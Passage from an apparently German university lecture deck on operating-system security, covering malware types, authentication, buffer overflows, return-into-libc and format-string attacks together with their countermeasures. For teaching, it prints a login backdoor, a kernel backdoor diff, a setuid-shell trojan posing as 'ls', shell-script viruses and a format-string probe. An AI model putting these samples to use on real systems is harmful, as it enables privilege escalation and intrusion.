Teil 7: Betriebssysteme
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Teil 7: Betriebssysteme
Vorlesung Betriebssysteme II Thema 7: Betriebssysteme-Sicherheit Robert Baumgartl 18. Mai 2015 1 / 109 Überblick I Grundbegriffe I Bösartige Software I Authentifizierungsmechanismen Angriffstechniken: I I I I I Buffer Overflow Return-into-Libc Format String Exploit Angriffscode (Shellcode) 2 / 109 Grundbegriffe Ziele der Systemsicherheit Ziel Bedrohung Vertraulichkeit Ausspionieren der Daten Datenintegrität Datenmanipulation Systemverfügbarkeit Denial of Service Tabelle: Sicherheitsziele und deren Bedrohungen eng verwandt: I Datenschutz – Verhinderung des Missbrauchs personenbezogener Daten 3 / 109 Grundbegriffe Bedrohungen Vier Kategorien: Quelle Ziel Quelle Unterbrechung ungestörter Informationsfluß Quelle Ziel Abfangen der Information Quelle Ziel Quelle Ziel Modifizieren der Information I Interruption: z. B. Denial-of-Service, I Interception: Angriff auf Vertraulichkeit I Modification: Angriff auf Integrität, z. B. Man-in-the-Middle Attack I Fabrication (Forging): z. B. Einfügen gefälschter Objekte in System Ziel Fälschen der Information Abbildung: Szenarien 4 / 109 Überblick Bösartige Software Wirtsprogramm nötig unabhängig Hintertüren Logische Bomben Viren Würmer Trojanische Pferde verbreiten sich selbständig Abbildung: Mögliche Kategorisierung bösartiger Software I I lokale vs. entfernte Angriffe on-line- vs. off-line-Angriffe 5 / 109 Logische Bomben Idee: Implantierung „bösartigen“ Codes in Applikationen (oder in das BS), Aktivierung des Codes, sobald eine bestimmte Aktivierungsbedingung erfüllt I Aktivierungsbedingung Eintritt eines Datums → (logische) „Zeitbombe“ (Kalender von Aktivierungsdaten: http://vil.nai.com/vil/calendar /virus_calendar.aspx) I meist simples Löschen von Daten I häufig eingesetzt, um „Rache“ für Entlassung o. ä. zu üben 6 / 109 Ausschnitt aus dem McAfee-Aktivierungskalender 12. Mai W97M/Alamat, W97M/Yous, VBS/Horty.b@MM, VBS/Horty.a@MM, WM/Alliance.A, WM/Envader.A (Intended), WM/Eraser.A:Tw, VBS/Aqui 13. Mai VBS/Aqui, VBS/Zync, WM/Eraser.A:Tw, VBS/Alphae, WM/Envader.A (Intended), Twno.A, WM/BOOM.A;B, WM/BADBOY.A;B;C, WM/FRIDAY.D, WM/FRIDAY.A, WM/Goldsecret.B:Int,WM/CVCK1.B;E, W97M/Rapmak.a, W97M/Yous, W97M/Alamat, WM/SHOWOFF.G, W97M/BackHand.A, W97M/Idea.A, W97M/Digma 14. Mai X97M/Jal.a, VBS/San@M, W97M/Este, W97M/Alamat, W32/SoftSix.worm, W97M/Yous, VBS/Valentin@MM, WM/PHARDERA.C ;D (INTENDED), W97M/Class.B, W97M/Class.D, W97M/Ekiam, WM/Eraser.A:Tw, VBS/Aqui 15. Mai . . . 7 / 109 Hintertüren (Back Doors) Idee: Einbau (nichtdokumentierter) Schnittstellen in Software zwecks späterem (unautorisiertem) Zugriff auf das System. I Mißbrauch von geheimen Debugging-Schnittstellen I schwierig von BS-Seite aus zu erkennen I häufiges Relikt aus der Produktentwicklung I Behörden sind häufig der Meinung, ein Anrecht auf Hintertüren zu haben I Gegenmaßnahme: Code Reviews, Open Source I symmetrische vs. asymmetrische Hintertüren I viele Würmer installieren Back Doors I Klassiker: Back Orifice (http://www.cultdeadcow.com/tools/bo.php) I feste Master-BIOS-Passworte, z. B. lkwpeter bei Award BIOS 8 / 109 Beispiel einer Hintertür Beispiel: Login-Code mit Hintertür1 while (TRUE) { printf("login: "); get_string(name); disable_echoing(); printf("password: "); get_string(password); enable_echoing(); v = check_validity(name, password); if (v || strcmp(name, "zzzzz") == 0) break; } execute_shell(name); 1 Andrew S. Tanenbaum. Modern Operating Systems. 2. Aufl. Prentice-Hall, 2001, S. 610. 9 / 109 Beispiel 2 (Backdoor im Linux-Kern; nice try) From: Larry McVoy [email blocked] Subject: Re: BK2CVS problem Date: Wed, 5 Nov 2003 14:23:02 -0800 On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote: > Out of curiosity, what were the changed lines? --- GOOD 2003-11-05 13:46:44.000000000 -0800 +++ BAD 2003-11-05 13:46:53.000000000 -0800 @@ -1111,6 +1111,8 @@ schedule(); goto repeat; } + if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL; retval = -ECHILD; end_wait4: current->state = TASK_RUNNING; --Larry McVoy lm at bitmover.com 10 / 109 Beispiel 2 (Backdoor im Linux-Kern; nice try) I jemand modifizierte die Kernelquellen (unautorisiert) I fraglicher Code gehört zu sys_wait4(), d. h. dem Systemruf wait4() I „verkleideter Code“; current->uid = 0 sieht so ähnlich aus wie current->uid == 0 I wenn jemand wait4() aufruft und die Optionen __WCLONE und __WALL sind gesetzt, so wird der Rufende root I Code wurde beim Review entdeckt (“It’s not a big deal, we catch stuff like this, but it’s annoying to the CVS users.”) 11 / 109 Trojanische Pferde („Trojaner“) Idee: dem Nutzer ein Programm unterschieben, welches bei Aktivierung unerlaubte Aktionen ausführt I anstelle eines Eindringlings führt ein autorisierter Nutzer Schadcode aus I Beispiel: gefälschter Login-Bildschirm I Klassiker: Compiler, der unbemerkt bösartigen Code in übersetzte Programme einbaut2 I vgl. „Bundestrojaner“ 2 Ken Thompson. “Reflections on Trusting Trust”. In: Communications of the ACM 27.4 (Aug. 1984), S. 761–763. 12 / 109 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm ./ls ls $* I kopiert und versteckt Shell I setzt das SetUID-Bit und macht die Shell für alle ausführbar I → läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden I Zugriff auf Daten des Angegriffenen 13 / 109 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm ./ls ls $* I kopiert und versteckt Shell I setzt das SetUID-Bit und macht die Shell für alle ausführbar I → läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden I Zugriff auf Daten des Angegriffenen 14 / 109 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm ./ls ls $* I kopiert und versteckt Shell I setzt das SetUID-Bit und macht die Shell für alle ausführbar I → läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden I Zugriff auf Daten des Angegriffenen 15 / 109 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm ./ls ls $* I kopiert und versteckt Shell I setzt das SetUID-Bit und macht die Shell für alle ausführbar I → läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden I Zugriff auf Daten des Angegriffenen 16 / 109 Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm ./ls ls $* I kopiert und versteckt Shell I setzt das SetUID-Bit und macht die Shell für alle ausführbar I → läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden I Zugriff auf Daten des Angegriffenen 17 / 109 (Computer)-Viren “A virus is a program that is able to infect other programs by modifying them to include a possibly evolved copy of itself.” (Fred Cohen) einige Varianten: I Stealth-Viren I polymorphe Viren I Bootsektor-Viren I Macro-Viren 18 / 109 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i" != "$0"; then tail -n 5 $0 | cat >> $i; fi done Analyse: I beschränkt auf eigenes Verzeichnis I mehrfache Infektion wahrscheinlich I kein Payload I leicht zu analysieren ;-) 19 / 109 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i" != "$0"; then tail -n 5 $0 | cat >> $i; fi done Analyse: I beschränkt auf eigenes Verzeichnis I mehrfache Infektion wahrscheinlich I kein Payload I leicht zu analysieren ;-) 20 / 109 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i" != "$0"; then tail -n 5 $0 | cat >> $i; fi done Analyse: I beschränkt auf eigenes Verzeichnis I mehrfache Infektion wahrscheinlich I kein Payload I leicht zu analysieren ;-) 21 / 109 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i" != "$0"; then tail -n 5 $0 | cat >> $i; fi done Analyse: I beschränkt auf eigenes Verzeichnis I mehrfache Infektion wahrscheinlich I kein Payload I leicht zu analysieren ;-) 22 / 109 Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i" != "$0"; then tail -n 5 $0 | cat >> $i; fi done Analyse: I beschränkt auf eigenes Verzeichnis I mehrfache Infektion wahrscheinlich I kein Payload I leicht zu analysieren ;-) 23 / 109 Ein (etwas) besserer Virus for i in *.sh; do if test "./$i" != "$0"; then HOST=$(echo -n $(tail -10 $i)) VIR=$(echo -n $(tail -10 $0)) if [ "$HOST" != "$VIR" ] then tail -n 10 $0 | cat >> $i; fi fi done 24 / 109 Würmer “An independently replicating and autonomous infection agent, capable of seeking out new host systems and infecting them via the network.” (Jose Nazario. Defence and Detection Strategies against Internet Worms. Artech House, 2004) Bekannte Vertreter: I W32.Blaster I Melissa I Mydoom I Sasser I Conficker 25 / 109 Komponenten eines Wurms 1. Aufklärung neuer Hosts als potentielle Angriffsziele I I I IP-Adreßräume (partiell) durchsuchen lokale Suche in (z. B.) Konfigurationsdateien OS Fingerprinting, um BS-Typ und -Version zu ermitteln 2. Angriffscode I I I Remote Exploit bekannter Schwachstellen Trojanisches Pferd (z.B. Mail mit attached Binary) benötigt für jede anzugreifende Plattform Exploit 3. Kommunikation I I I z. B. mittels ICMP, UDP, . . . , E-Mail über verdeckte Kanäle Verbergen beteiligter Prozesse und Sockets mittels Kernelmodul oder durch Störung von Überwachungssoftware 26 / 109 Komponenten eines Wurms 4. Kommandoschnittstelle I I interaktiv oder indirekt (script-gesteuert) typische Kommandos: Up-/Download von Dateien, Flut-Ping, Generierung von HTTP-Requests, . . . 5. Verwaltung der erfolgreich angegriffenen Hosts I I I verteilte oder zentralisierte Datenbank Liste aller befallenen Rechner in privatem IRC-Channel 27 / 109 Rootkits Def. Ein Rootkit ist ein (üblicherweise unerwünschtes) Programm, das sich nach Installation vor dem Nutzer verbirgt. Merkmale: I Installation typischerweise nach erfolgreichem Einbruch, um Einbruchszweck abzusichern, z. B.: I I I dauerhafte Unterwanderung des Systems Diebstahl von Passwortdaten per Keylogger oder Sniffer verschafft sich keine root-Privilegien, sondern benötigt diese bei Installation Eintrittsvektoren: I versehentliches Ausführen I physischer Zugriff des Angreifers auf System I Einbruch via Netzwerk 28 / 109 Rootkits dateibasierte vs. kernelbasierte Rootkits 1. dateibasierte Rootkits I tauschen Werkzeuge aus, die zur Detektion des Rootkits genutzt werde könnten (ssh, ps, ls, netstat) I Unterart: Library Rootkits: tauschen die entsprechenden Systembibliotheken aus I laufen im User Mode 2. kernelbasierte Rootkits I modifizieren (Überraschung!) den Kernel z. B. über Modulmechanismus oder Speicherabbild (/dev/kmem) I äußerst schwierig zu detektieren 29 / 109 Rootkits Gegenmaßnahmen 1. Unrechtmäßigen root-Zugriff verhindern 2. Unrechtmäßigen root-Zugriff verhindern (again!) 3. Deaktivierung des Modulmechanismus (→ alle Treiber statisch in den Kernel kompiliern) 4. Vergleich nach außen geöffnete Ports (netstat) mit externem Portscan (nmap) → Achtung, „Hackertool“! 5. Suche nach charakteristischen Zeichenketten im Hauptspeicher (Werkzeug chkrootkit) 6. Boot von sauberem Datenträger (Live-CD) und Suche nach „verdächtigen“ Dateien 30 / 109 Authentifizierung = Identifizierung von Nutzern durch einen Host-Rechner I Eingabe eines Passwortes bei der Anmeldung I Prüfung des eingegebenen Passwortes durch Host I Host muß das Passwort nicht kennen (→ kein Diebstahl z. B. durch Administrator möglich) I Stattdessen: Nutzung von Einwegfunktionen Protokoll: 1. Nutzer übermittelt dem Host Passwort 2. Der Host wendet eine Einwegfunktion auf das Passwort an. 3. Der Host vergleicht das Ergebnis mit dem Wert, der beim Anlegen des Zugangs gespeichert wurde. 31 / 109 Mögliche Angriffe auf den Vorgang der Authentifizierung I Ausspähen des Passwortes I Social Engineering I Erraten des Passwortes I Wörterbuchangriff I Brute Force 32 / 109 Erraten des Passwortes Ein legendärer Einbruch im Lawrence Berkeley Laboratory (Clifford Stoll. Kuckucksei. Fischer, 1989): LBL> telnet elxsi Elxsi at LBL login: root password: root incorrect passwort, try again login: guest password: guest incorrect passwort, try again login: uucp password: uucp WELCOME TO THE ELXSI COMPUTER AT LBL I bei gut gewarteten Systemen heute nahezu aussichtslos 33 / 109 mein eigener PC (idir) /var/log/auth.log, Ausschnitt Apr 5 14:44:35 idir sshd[14612]: .99.106.4 port 40799 ssh2 Apr 5 14:44:39 idir sshd[14620]: 42116 ssh2 Apr 5 14:44:43 idir sshd[14630]: 43885 ssh2 Apr 5 14:44:44 idir sshd[14640]: Apr 5 14:44:46 idir sshd[14640]: 99.106.4 port 45676 ssh2 Apr 5 14:44:47 idir sshd[14648]: Apr 5 14:44:49 idir sshd[14648]: 99.106.4 port 47395 ssh2 Apr 5 14:44:51 idir sshd[14656]: Apr 5 14:44:53 idir sshd[14656]: m 93.99.106.4 port 48814 ssh2 Apr 5 14:44:54 idir sshd[14666]: Apr 5 14:44:56 idir sshd[14666]: 99.106.4 port 50581 ssh2 Apr 5 14:44:58 idir sshd[14674]: Apr 5 14:45:00 idir sshd[14674]: 93.99.106.4 port 51972 ssh2 Apr 5 14:45:01 idir sshd[14684]: Apr 5 14:45:03 idir sshd[14684]: 93.99.106.4 port 53530 ssh2 Apr 5 14:45:05 idir sshd[14692]: Apr 5 14:45:07 idir sshd[14692]: 99.106.4 port 55065 ssh2 Apr 5 14:45:10 idir sshd[14702]: 56829 ssh2 Apr 5 14:45:11 idir sshd[14710]: Apr 5 14:45:13 idir sshd[14710]: .99.106.4 port 60192 ssh2 Apr 5 14:45:15 idir sshd[14718]: Apr 5 14:45:17 idir sshd[14718]: Failed password for invalid user admin from 93 Failed password for root from 93.99.106.4 port Failed password for root from 93.99.106.4 port Invalid user test from 93.99.106.4 Failed password for invalid user test from 93. Invalid user test from 93.99.106.4 Failed password for invalid user test from 93. Invalid user webmaster from 93.99.106.4 Failed password for invalid user webmaster fro Invalid user user from 93.99.106.4 Failed password for invalid user user from 93. Invalid user username from 93.99.106.4 Failed password for invalid user username from Invalid user username from 93.99.106.4 Failed password for invalid user username from Invalid user user from 93.99.106.4 Failed password for invalid user user from 93. Failed password for root from 93.99.106.4 port Invalid user admin from 93.99.106.4 Failed password for invalid user admin from 93 Invalid user test from 93.99.106.4 Failed password for invalid user test from 93. 34 / 109 Wörterbuchangriff (Dictionary Attack) Idee: I Offline-Generierung einer Liste aus Einträgen mit I I potentielles Passwort potentielles Passwort, verschlüsselt I alle möglichen Worte, Namen, Bezeichner usw. mittels der Einwegfunktion des Betriebssystems verschlüsseln I Diebstahl der Passwortdatei I Vergleich der verschlüsselten Wortliste mit den Hashes aus der Passwortdatei I Bei Übereinstimmung ist das unverschlüsselte Passwort der entsprechende Eintrag aus der Wortliste → Werkzeug john, the Password Cracker 35 / 109 Erschwerung des Wörterbuchangriffes mittels Salz I Passwort wird vor Verschlüsselung mit einer Zufallszahl konkateniert (dem Salz) I Salz wird mit in der (geheimen) Passwortdatei gespeichert I bei genügend großer Anzahl möglicher Hash-Werte wird ein Wörterbuchangriff unmöglich I Mallory müßte zu jedem Wort alle möglichen Salz-Werte durchprobieren 36 / 109 Beispiel: Bibliotheksfunktion crypt() char *crypt(const char *key, const char *salt); „crypt() is the password encryption function. It is based on the Data Encryption Standard algorithm with variations intended (among other things) to discourage use of hardware implementations of a key search.“ I key zeigt auf die (unverschlüsselte) Passphrase I salt ist Zeiger auf Salz (zweibuchstabige Zeichenkette) I Resultat: DES-verschlüsselter Passworthash I moderne Implementierungen bieten bessere Hashverfahren (z. B. SHA-512) 37 / 109 Weitere Gegenmaßnahmen gegen Wörterbuchangriff I möglichst keine Hinweise auf Länge des PW (’*’ u. ä.) in der Eingabemaske I möglichst kein Hinweis, ob NKZ gültig oder nicht I Verzögerung nach jedem erfolglosen Anmeldeversuch periodisches Erneuern der Passworte: I + gecrackte PW werden automatisch ausgetauscht − nachteilig, daß Nutzer ständig neue PW lernen müssen 38 / 109 Challenge-Response zur Authentifizierung Ablauf: 1. Alice schickt Bob (dem Host) ihr Nutzerkennzeichen 2. Bob sendet eine Zufallszahl („Nonce“ - (random) number, used once) an Alice ≡ Challenge 3. Alice verschlüsselt die Nonce mit ihrem Passwort und schickt das Chiffrat an Bob ≡ Response 4. Bob verschlüsselt die Nonce ebenfalls mit Alice’ Passwort (d. h., Bob muss Alice’ Passwort kennen) 5. ist das Chiffrat gleich der Antwort von Alice, so wird Zugang gewährt 39 / 109 Beispiel: Authentifizierung in Windows I Authentifizierungsprotokoll NTLM - NT Lan Manager I zum großen Teil reverse-engineered I liegt mittlerweile offen Grobablauf: 1. Client (Nutzer) schickt eine sog. Type-1-Nachricht an den Server, die verschiedene Parameter der Authentifizierung festlegt 2. Server (Host) antwortet mit einer Type-2-Nachricht, die u. a. eine 8 Byte lange Nonce enthält 3. Client verschlüsselt die Nonce mit seinem Passwort als Schlüssel, schickt Chiffrat als Type-3-Nachricht an Server I I konkretes Verfahren hängt von den zuvor ausgehandelten Parametern ab es wird MD4, MD5 und DES eingesetzt Literatur: http://davenport.sourceforge.net/ntlm.html 40 / 109 Sicherheit von NTLM Stellen 6 6 8 8 8 11 Zeichenraum A-Za-z0-9 A-Za-z0-9, 22 SZ A-Za-z0-9 A-Za-z0-9, 22 SZ A-Za-z0-9, alle SZ A-Za-z Dauer 1 min 6 min 2 d, 17 h 33 d 82 d 270 a Tabelle: Maximale Dauer der Ermittlung von NTLM-Passworten mittels „Distributed Password Recovery“ (ElcomSoft) 22 SZ = typische Sonderzeichen, d.h. _@#$&+-=%*"~!?.,:;()<> I genutztes System: AMD Athlon X2 4850e, 2 Nvidia GeForce 9800 GTX (Stefan Arbeiter und Matthias Deeg. “Bunte Rechenknechte”. In: c’t 6 (2009), S. 204–206) I 41 / 109 Authentifizierung mit physischen Objekten I I Schlüssel Chipkarten I I passiv – “Stored Value Cards”, z.B. Telefonkarten aktiv – “Smart Cards”, ausgerüstet mit 8-Bit-CPU, Scratch RAM, ROM, EEPROM Server PC 1. Challenge an Smart Card 3. Response an Server Smart Card 2. Smart Card errechnet Antwort Abbildung: Nutzung einer Smartcard zur Authentifizierung 42 / 109 Angriffstechniken 43 / 109 Buffer Overflow (Sehr einfaches) verwundbares Programm # i n c l u d e < s t d i o . h> i n t main ( i n t argc , char ∗ argv [ ] ) { char b u f f e r [ 5 1 2 ] ; i f ( argc > 1 ) { s t r c p y ( b u f f e r , argv [ 1 ] ) ; } return 0; } 44 / 109 Buffer Overflow Prinzip I bestimmte Funktionen der C-Bibliothek führen keine Längenprüfung ihrer Argumente aus (Klassiker: strcpy()) I Idee: lokale Variablen (über deren Länge hinaus) mit einer solchen Funktion überfluten (Stack Overflow) I Überschreiben der Rückkehradresse auf dem Stack mit Adresse einer Schadroutine I bei Verlassen der aktuellen Funktion → Sprung zur Schadroutine I Ursache: mögliches Verlassen von Feldgrenzen in C, ungeprüfte Länge der Argumente von Bibliotheksfunktionen wie strcpy() oder gets(), gezielte Manipulation von Zeigervariablen 45 / 109 Stack Overflow hohe Adressen ... Ausschnitt des Stacks Funktionsparameter <Ret> SFP lokale Variablen niedrige Adressen ... Puffer 46 / 109 Stack Overflow hohe Adressen ... Ausschnitt des Stacks Funktionsparameter <Ret> SFP lokale Variablen niedrige Adressen ... Puffer 47 / 109 Stack Overflow hohe Adressen ... Ausschnitt des Stacks Funktionsparameter <Ret> SFP lokale Variablen niedrige Adressen ... Puffer 48 / 109 Stack Overflow hohe Adressen ... Ausschnitt des Stacks Funktionsparameter <Ret> SFP lokale Variablen niedrige Adressen ... Puffer 49 / 109 Stack Overflow hohe Adressen ... Ausschnitt des Stacks Funktionsparameter <Ret> SFP lokale Variablen niedrige Adressen ... Puffer 50 / 109 Buffer Overflow Einfache Gegenmaßnahmen I Verzicht auf unsichere Funktionen, u.a. strcpy(), strcat(), sprintf(), vsprintf(), gets() bzw. Nutzung der Pendants mit Bereichsprüfung, aber: I I I Semantik nicht übereinstimmend (z. B. nullterminiert strncpy() das Ziel nicht bei maximal langem String) Geschwindigkeitsnachteile Legacy Code? 51 / 109 Buffer Overflow I Funktionsparameter Canary Word wird im Funktionsprolog angelegt I Overflow überschreibt Canary I beim Rücksprung aus Funktion wird Canary auf Integrität getestet I hohe Adressen <Ret> Canary SFP lokale Variablen Puffer niedrige Adressen ... Idee: Schutz der Rücksprungadresse durch zusätzliches Canary Word. ... Stackguard Abbruch, wenn falscher Wert 52 / 109 Buffer Overflow Wahl des Canary Word I Terminator Canary – Werte nutzen, die typische Zeichenkettenfunktionen terminieren Wert Symbol 0x00 0x0a 0x0d -1 LF CR EOF Semantik stoppt strcpy() stoppt gets() stoppt gets() Tabelle: Terminator Canary optimal ist z. B. 0x000d0aff I Random Canary – erst zum Programmstart generiert; Angreifer kann darauf nicht mehr reagieren (Angreifer läuft parallel zum angegriffenen Programm) 53 / 109 Stackguard Grenzen des Konzepts I moderate Leistungseinbuße I Lokale Variablen und Saved Frame Pointer nicht geschützt I Canary Word u. U. durch Angreifer restaurierbar, wenn statisch I vgl. „Bulba“ and „Kil3r“. “Bypassing Stackguard and Stackshield”. In: Phrack 10.56 (Jan. 2000). URL: http: //www.phrack.org/issues/56/5.html#article 54 / 109 StackShield Idee: 1. Rücksprungadresse im Prolog in eine extra Tabelle kopieren 2. im Epilog Kopie der Rücksprungadresse wieder an entsprechende Position im Stack schreiben 3. keine Prüfung auf Identität 55 / 109 Ausführungsverbot beschreibbarer Seiten (W⊕X ) Einfachster Fall: Architektur unterstützt Execute-Recht im Seitentabelleneintrag (Beispiele: Sparc, PPC, IA64) Problem: IA32 tut dies nicht. Lösung 1: NX („No-Execute“) aka „Enhanced Virus Protection“ I erfordert Physical/Page Address Extension (PAE) – existiert eigentlich ab Pentium Pro I NX jedoch erst ab Prescott-Kern (Intel), AMD64 I Seitentabelleneintrag 64 Bit (anstatt 32) I Seiten, Seitentabellen und Seitentabellenverzeichnis 4 KiB I nur noch 1/4 der Einträge → drittes Hierarchielevel (vgl. folgende Grafik) I gegenwärtig: 36-Bit-Adressen (maximal: 52 Bit) I Bit 63 ist das (No)-Execute-Bit 56 / 109 Adressumsetzung bei PAE 31−30 29...21 PTR Dir 20...12 Table 11...0 Offset lineare Adresse CR3 PageDirPt1 PageDirPt2 PageDirPt3 PageDirPt4 gewähltes Byte PD−Eintrag gewählte Seite PTE Page Directory Pointer Table Page Directory 512 Einträge Page Tables 512 Einträge NX−Bit (63) physischer Adreßraum 57 / 109 Ausführungsverbot beschreibbarer Seiten (W⊕X ) II Lösung 2: Emulation in Software I alle PTEs der zu schützenden Bereiche (Stack, Heap, Daten) haben initial Supervisor-Bit gesetzt I → Pagefault bei Zugriff Handler: I I I bei Instruction Fetch → Abbruch der Task, Logging des Angriffs bei Datenzugriff: Rücksetzen des SV-Bits, Zugriff ausführen (Überführung der Übersetzung in Data-TLB), Setzen des SV-Bits I weitere Datenzugriffe durch DTLB gecacht I nur möglich, wenn getrennte Daten- und Code-TLBs 58 / 109 Ausführungsverbot beschreibbarer Seiten Einbau in Betriebssysteme: I Linux ab 2.6.8 I Windows XP ab SP2; kein Backport nach Windows 2000 I PaX-System, vgl. http://pax.grsecurity.net 59 / 109 Address Space Layout Randomization (ASLR) Beobachtung: Distanz zwischen Top-of-Stack (TOS) und anzugreifender Rücksprungadresse ist konstant, wird offline (werkzeuggestützt) erraten und in Exploit eingebaut. Idee: Anfangsadressen von Stack, Heap und Code werden zufällig zur Ladezeit generiert. Problem: eingeblendete shared Libraries – müssen auch zufällig verteilt werden $ cat /proc/self/maps | grep libc I erschwert auch return-into-libc-Exploits 60 / 109 Return-into-Libc I Manipulation einer Rückkehradresse auf dem Stack mittels Buffer Overflow I jedoch („Rück“-)Sprung in eine Shared Library (libc) anstatt zu eigenem Shellcode (Abb. nächste Folie) I Beispiel: system("/bin/sh"); (führt /bin/sh -c /bin/sh aus) I wenn angegriffenes Programm setuid root ist, wird damit eine root-Shell geöffnet I macht nichtausführbaren Stack wirkungslos 61 / 109 Stacklayout bei Return-into-Libc Argumente der (angegriffenen) Funktion originaler Stack: lokale Variablen sfp RET arg0 arg1 arg2 High Rückkehradresse aus libc−Ruf manipulierter Stack: Argument 0 des libc−Rufes Überflutung sfp Adr in libc dummy Low arg0 "/bin/sh" system() { ... Code in der libc } 62 / 109 Anmerkungen I dummy-Feld ist „Rückkehradresse“, die angesprungen wird, wenn system() verlassen wird I irrelevant, wenn interaktive Shell gestartet wurde, da diese nicht zurückkehrt 63 / 109 Bestimmung der Einsprungadresse (statisch) robge@hadrian$ cat dummy.c int main() { system(); } robge@hadrian$ gcc -o dummy dummy.c robge@hadrian$ gdb -q dummy Using host libthread_db library "/lib/tls/i686/cmov/libthread_d (gdb) break main Breakpoint 1 at 0x8048362 (gdb) run Starting program: /home/local/robge/src/cracking/dummy Breakpoint 1, 0x08048362 in main () (gdb) print system $1 = {<text variable, no debug info>} 0xb7ed8990 <system> Gegenmittel: Address Space Layout Randomization, Parameterübergabe in Registern (ELF64-SystemV ABI bei x86-64) 64 / 109 Dynamische Ermittlung der Einsprungadresse Idee: I Sohn erzeugen, der kontinuierlich system("") aufruft I Instruction Pointer springt zwischen main() und system() (libc-Funktion) I mittels ptrace() kann die genaue Adresse von system() bestimmt werden ... Code ansehen . . . 65 / 109 Verkettung zweier libc-Rufe Argumente der (angegriffenen) Funktion originaler Stack: Low lokale Variablen sfp RET arg0 arg1 arg2 High "dummy" manipulierter Stack: Überflutung sfp Adr1 in libc Adr2 in libc arg0 arg0 für für setuid system "/bin/sh" setuid() { ... } =0x01010101 o.ä. system() { ... } 66 / 109 Verkettung zweier libc-Rufe I Reihenfolge setuid() → system() I setuid(0) leider unmöglich, da Pufferüberlauf damit vorzeitig abbrechen würde I nur möglich, wenn erster libc-Aufruf genau ein Argument übernimmt (dummy-Lücke) I weitere Rufe nicht möglich 67 / 109 Return-into-Libc-Angriff Weitere Techniken I mehr als 2 libc-Aufrufe mit beliebig vielen Argumenten (!!) I I I Frame Pointer Lifting Frame Faking Nullbytes im angegriffenen Puffer ebenfalls möglich Literatur: “Nergal”. “The advanced return-into-lib(c) exploits: PaX case study”. In: Phrack 11.58 (Dez. 2001). URL: http://www.phrack.org/issues/58/4.html#article 68 / 109 Format String Exploits 69 / 109 Wie funktioniert eigentlich printf()? int printf(const char *format, ...); I zeichenweises Kopieren des Format-Strings nach stdout I %-Platzhalter wird durch TOS (Top of Stack) ersetzt, das entsprechend formatiert wird (SP wird entsprechend angepaßt) I %s: ZK, auf die TOS verweist, wird ausgegeben (terminiert, wenn \0 gelesen) I %n: schreibt Anzahl bereits ausgegebener Bytes in Variable, auf die TOS verweist (Schreiboperation auf Stack!) I → keine Prüfung auf Art und Anzahl der Argumente zur Übersetzungszeit möglich 70 / 109 Beispiel für Nutzung von printf() printf-ex.c #include <stdio.h> int main(int argc, char *argv[]) { char string[7] = "sample"; int A = -72; unsigned int B = 31337; int count_one, count_two; /* Example of printing with different format string */ printf("[A] Dec: %d, Hex: %x, Unsigned: %u\n", A, A, A); printf("[B] Dec: %d, Hex: %x, Unsigned: %u\n", B, B, B); printf("[field width on B] 3: ’%3u’, 10: ’%10u’, ’%08u’\n", B, B, B); printf("[string] %s Address %08x\n", string, string); /* Example of unary address operator and a %x format string */ printf("count_one is located at: %08x\n", &count_one); printf("count_two is located at: %08x\n", &count_two); /* Example of a %n format string */ printf("The number of bytes written up to this point X%n is being stored \ in count_one, and the number of bytes up to here X%n is being stored in \ count_two.\n", &count_one, &count_two); printf("count_one: %d\n", count_one); printf("count_two: %d\n", count_two); /* Stack Example */ printf("A is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B); return 0; } 71 / 109 Explizite Adressierung von Argumenten I Zur direkten Adressierung von Argumenten im Formatstring dient der ’$’-Operator I Zählung ab 1 #include <stdio.h> int main(void) { printf("%2$s%1$s%3$s%1$s\n", "otz", "H", "enpl"); return 0; } Beispiel für Nutzung des $-Operanden im Formatstring 72 / 109 Stacklayout printf("A is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B); Adresse von B Wert von B Parameter von printf() Adresse von A Wert von A Adresse des fmtstring <RET> SP Low 73 / 109 Beispiel für verwundbare Funktion fmt_vuln.c #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char text[1024]; static int test_val = -72; if(argc < 2){ printf("Usage: %s <text to print>\n", argv[0]); exit(0); } strcpy(text, argv[1]); /* The right way to print user-controlled input: */ printf("The right way:\n"); printf("%s", text); /* The wrong way to print user-controlled input: */ printf("\nThe wrong way:\n"); printf(text); printf("\n"); /* Debug output */ printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val); return 0; } 74 / 109 bisschen ausprobieren . . . robge@hadrian$ ./fmt_vuln Ni%x The right way: Ni%x The wrong way: Nibffff3e4 robge@hadrian$ ./fmt_vuln ‘perl -e ’print "%08x."x40;’‘ The right way: 08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. 08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. 